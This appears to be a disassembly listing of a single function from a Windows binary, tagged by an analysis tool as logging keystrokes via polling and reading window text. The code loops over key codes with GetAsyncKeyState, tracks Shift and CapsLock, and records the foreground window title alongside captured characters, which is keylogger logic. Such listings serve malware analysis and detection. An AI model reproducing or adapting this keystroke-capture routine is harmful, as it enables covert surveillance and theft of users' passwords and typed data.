Function at 0x499e34
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x28
push 0
push 0
dec ecx
jne 0x499e3c
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x49a8d2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 8
xor eax, eax
mov al, byte [ebp - 1]
push eax
call sub.user32.dll_GetAsyncKeyState
cmp ax, 0x8001
jne case.0x499f6f.8
xor eax, eax
push ebp
push 0x499f4c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
cmp ebx, dword [0x4a3558]
je 0x499f42
cmp dword [0x7a6a84], 0
je 0x499eb3
mov eax, dword [0x4a39b0]
mov eax, dword [eax]
mov edx, dword [0x7a6a84]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, 0x7a6a84
call fcn.00404d40
mov eax, dword [0x4a39b0]
mov eax, dword [eax]
mov edx, 0x49a8e8
mov ecx, dword [eax]
call dword [ecx + 0x38]
push pe_nt_image_headers32
lea eax, [ebp - 0x108]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
mov dword [0x4a3558], ebx
call fcn.0040b834
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 8]
call fcn.0040c498
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0x118], eax
mov byte [ebp - 0x114], 6
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, 0x49a910
call fcn.0040a874
mov ecx, dword [ebp - 0x110]
lea eax, [ebp - 0x10c]
mov edx, dword [ebp - 8]
call fcn.0040504c
mov edx, dword [ebp - 0x10c]
mov eax, dword [0x4a39b0]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x499f56
xor eax, eax
mov al, byte [ebp - 1]
add eax, 0xfffffff8
cmp eax, 0xd6
ja case.0x499f6f.8
mov al, byte [eax + 0x499f76]
jmp dword [eax*4 + 0x49a04d]
push 0x7a6a84
mov eax, dword [0x7a6a84]
call fcn.00405000
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x7a6a84]
call fcn.00405260
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a928
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a938
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a948
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a958
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a968
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a974
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a988
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a99c
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9ac
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9bc
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9cc
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9dc
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9ec
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49a9fc
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa10
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa24
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa38
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a2a8
mov eax, 0x7a6a84
mov edx, 0x49aa50
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa5c
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a2dc
mov eax, 0x7a6a84
mov edx, 0x49aa68
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa74
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a310
mov eax, 0x7a6a84
mov edx, 0x49aa80
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aa8c
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a344
mov eax, 0x7a6a84
mov edx, 0x49aa98
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aaa4
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a378
mov eax, 0x7a6a84
mov edx, 0x49aab0
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aabc
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a3ac
mov eax, 0x7a6a84
mov edx, 0x49aac8
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aad4
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a3e0
mov eax, 0x7a6a84
mov edx, 0x49aae0
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aaec
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a414
mov eax, 0x7a6a84
mov edx, 0x49aaf8
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab04
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a448
mov eax, 0x7a6a84
mov edx, 0x49ab10
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab1c
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a47c
mov eax, 0x7a6a84
mov edx, 0x49ab28
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab34
call fcn.00405008
jmp case.0x499f6f.8
push 0x14
call sub.user32.dll_GetKeyState
cmp ax, 1
jne 0x49a511
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a4dd
lea eax, [ebp - 0x120]
mov dl, byte [ebp - 1]
call fcn.00404f28
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0x11c]
call fcn.00409480
mov edx, dword [ebp - 0x11c]
mov eax, 0x7a6a84
call fcn.00405008
jmp case.0x499f6f.8
lea eax, [ebp - 0x128]
mov dl, byte [ebp - 1]
call fcn.00404f28
mov eax, dword [ebp - 0x128]
lea edx, [ebp - 0x124]
call fcn.00409430
mov edx, dword [ebp - 0x124]
mov eax, 0x7a6a84
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a551
lea eax, [ebp - 0x130]
mov dl, byte [ebp - 1]
call fcn.00404f28
mov eax, dword [ebp - 0x130]
lea edx, [ebp - 0x12c]
call fcn.00409430
mov edx, dword [ebp - 0x12c]
mov eax, 0x7a6a84
call fcn.00405008
jmp case.0x499f6f.8
lea eax, [ebp - 0x138]
mov dl, byte [ebp - 1]
call fcn.00404f28
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409480
mov edx, dword [ebp - 0x134]
mov eax, 0x7a6a84
call fcn.00405008
jmp case.0x499f6f.8
lea edx, [ebp - 0x13c]
xor eax, eax
mov al, byte [ebp - 1]
sub eax, 0x60
call fcn.004097a8
mov edx, dword [ebp - 0x13c]
mov eax, 0x7a6a84
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab10
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49aaf8
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab40
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab4c
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab58
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab64
call fcn.00405008
jmp case.0x499f6f.8
push dword [0x7a6a84]
push 0x49ab78
lea edx, [ebp - 0x140]
xor eax, eax
mov al, byte [ebp - 1]
sub eax, 0x6f
call fcn.004097a8
push dword [ebp - 0x140]
push 0x49ab84
mov eax, 0x7a6a84
mov edx, 4
call fcn.004050c0
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a682
mov eax, 0x7a6a84
mov edx, 0x49ab90
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab9c
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a6b6
mov eax, 0x7a6a84
mov edx, 0x49aba8
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49abb4
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a6ea
mov eax, 0x7a6a84
mov edx, 0x49abc0
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49abcc
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a71e
mov eax, 0x7a6a84
mov edx, 0x49abd8
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab40
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a752
mov eax, 0x7a6a84
mov edx, 0x49abe4
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab4c
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a786
mov eax, 0x7a6a84
mov edx, 0x49abf0
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab58
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a7ba
mov eax, 0x7a6a84
mov edx, 0x49abfc
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ac08
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a7ee
mov eax, 0x7a6a84
mov edx, 0x49ac14
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ac20
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a81f
mov eax, 0x7a6a84
mov edx, 0x49ac2c
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ac38
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a84d
mov eax, 0x7a6a84
mov edx, 0x49ac44
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ab84
call fcn.00405008
jmp case.0x499f6f.8
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x49a87b
mov eax, 0x7a6a84
mov edx, 0x49ac50
call fcn.00405008
jmp case.0x499f6f.8
mov eax, 0x7a6a84
mov edx, 0x49ac5c
call fcn.00405008
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xdf
jne 0x499e58
jmp 0x499e54